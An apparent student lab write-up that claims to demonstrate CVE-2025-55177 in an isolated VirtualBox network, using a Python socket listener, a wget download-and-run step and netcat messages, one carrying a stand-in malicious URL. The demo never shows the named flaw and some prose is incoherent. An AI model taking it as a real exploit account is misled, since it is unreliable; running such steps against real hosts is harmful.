

Vulnerability Exploited: CVE-2025-55177 (Social Engineering–Based Exploitation)

Mahrukh

1. Introduction:

Aim here is building a secure digital setup where one specific weakness gets tested in practice. This part puts stress on doing things yourself so it becomes clear how hackers might misuse flaws. Seeing the damage firsthand shows exactly what happens when systems fall victim. Learning comes from acting, not just reading - experience reveals the consequences.

Aiming to boost hands-on security knowledge, this effort involves building both attacking and target systems. Starting with setup, one machine acts while the other responds under controlled conditions. Execution follows, where simulated breaches reveal how vulnerabilities can be actively used. Outcomes show what happens when defenses are weak or missing. Attention shifts to configurations - how systems are arranged makes a difference. People play a role too, since choices affect safety just as much as settings do. Lessons point toward steps that lower danger before harm occurs. Real incidents mirror these tests, making practice meaningful.

2. Description:

2.1 Virtual Machines and Their Functions

A digital setup ran on two separate systems built through emulation tools. One box, running Kali Linux, played the role of the one launching attacks. The second, set up with Ubuntu Linux, served as the receiving end where harmful code landed. From the Kali side came the creation and delivery of dangerous scripts. On the flip side, the Ubuntu instance responded to those inputs as if it were a real user scenario.

2.2 Network Configuration

A single private network linked both virtual machines. Communication stayed within that boundary, kept separate from outside systems. Safety during testing relied on this kind of separation. Experiments involving vulnerabilities needed this controlled space.

A test came first checking if the two systems could talk to each other across the network. Only after seeing a live connection did anything else move forward. Signals passed back and forth without delay, showing they lived on the same segment. Communication worked, so the next phase began.

3. Step-by-Step Exploitation Process

3.1 Network Check and IP Find

Out of the blue, checking if the attacker and target computers could talk started things off. From each machine, pings went out - just to see what would answer back. When replies came through without issues, it meant the setup worked as needed.

```
Session Actions Edit View Help
zsh: corrupt history file /home/chippashb/.zsh_history
(chippashb@CHIPPASHB)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:d8:7a:52 brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.102/24 brd 192.168.56.255 scope global dynamic noprefixroute eth0
        valid_lft 477sec preferred_lft 477sec
    inet6 fe80::a00:27ff:fed8:7a52/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

(chippashb@CHIPPASHB)-[~]
$
```

Jan 19 14:08

```
vboxuser@ubuntu:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:10:f4:70 brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.103/24 brd 192.168.56.255 scope global dynamic noprefixroute enp0s3
        valid_lft 527sec preferred_lft 527sec
    inet6 fe80::a00:27ff:fe10:f470/64 scope link
        valid_lft forever preferred_lft forever
vboxuser@ubuntu:~$
```

3.2 Writing Scripts with Python

A file took shape inside Nano, typed out line by line on the attacking system. Running it checked whether messages moved correctly between systems. Each command built a starting point, not an endpoint. Making sure code runs at all matters more than what comes after.

```
(chippashb@CHIPPASHB)-[~]
$ nano victim.py
```

```
Kali Linux [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help
chippashb@CHIPPASHB: ~
Session Actions Edit View Help
GNU nano 8.6 victim.py
import socket

s = socket.socket()
s.bind(('0.0.0.0', 9999))
s.listen(1)

print("Waiting for linked device sync...")

conn, addr = s.accept()
print("Connected from:", addr)

data = conn.recv(1024)
print("Received sync data:", data.decode())

conn.close()

Help Exit Write Out Read File Where Is Replace Cut Paste Execute Justify Location Go To Line Undo Redo Set Mark Copy To Bracket Where Was Previous Next
```

3.3 Payload Delivered to Victim Device

A script, once ready, moved to the target computer via a small HTTP server set up on the hacker's device. From there, the infected machine pulled down the file, acting like real-world cases where harmful code hides inside trustworthy-looking links.

```
vboxuser@ubuntu:~$ wget http://192.168.56.102:8080/victim.py
--2026-01-19 14:10:25-- http://192.168.56.102:8080/victim.py
Connecting to 192.168.56.102:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 255 [text/x-python]
Saving to: 'victim.py'

victim.py      100%[=====>]      255  --.-KB/s   in 0s

2026-01-19 14:10:25 (23.7 MB/s) - 'victim.py' saved [255/255]

vboxuser@ubuntu:~$

vboxuser@ubuntu:~$ python3 victim.py
Waiting for linked device sync...
```

3.4 Fake Message Execution

A signal went out from the attacker device after the script arrived, pretending to be normal traffic. Right then, it became clear if the target machine would react to harmful data. That moment showed exactly what hackers check before moving forward - whether a system opens the door without suspicion.

```
(chippashb@CHIPPASHB)-[~]  
$ nc 192.168.56.103 9999  
UNAUTHORIZED_LINKED_DEVICE_SYNC
```

```
vboxuser@ubunt:~$ python3 victim.py  
Waiting for linked device sync...  
Connected from: ('192.168.56.102', 38288)  
Received sync data: UNAUTHORIZED_LINKED_DEVICE_SYNC
```

3.5 Fake URL Exploitation

A sneaky link got sent to target device, stretching out the exploit window. That move copied a real-world phishing attempt, showing just how easily it can be nudged into clicking harmful web address.

```
(chippashb@CHIPPASHB)-[~]  
$ nc 192.168.56.103 9999  
http://malicious.example.com/fake-sync
```

```
vboxuser@ubunt:~$ python3 victim.py  
Waiting for linked device sync...  
Connected from: ('192.168.56.102', 37198)  
Received sync data: http://malicious.example.com/fake-sync  
vboxuser@ubunt:~$
```

4. Impact Review and Risk Reduction

4.1 Impact Analysis

A breach like this might let attackers sneak in, run harmful code, steal information, then dig deeper into systems. Tricking people through manipulation poses serious risks since it uses faith in others instead of broken software - this kind of trick often slips past standard defenses.

4.2 Mitigation Strategies

A fresh start helps break old habits.

Users who learn about online risks every few months tend to stay alert. Staying away from unfamiliar links makes a difference over time. Filters on emails and websites catch problems early.

Systems patched often run more smoothly than those left behind. Watching network traffic shows odd behavior before it spreads.

5. Conclusion:

A fake scenario showed how people can be tricked into giving up access. From this test came clear examples of psychological tricks used in digital attacks. Awareness training turned out to matter just as much as strong passwords. Settings that block risky actions helped reduce success by attackers. Real habits - not perfect tools - decided whether defenses held.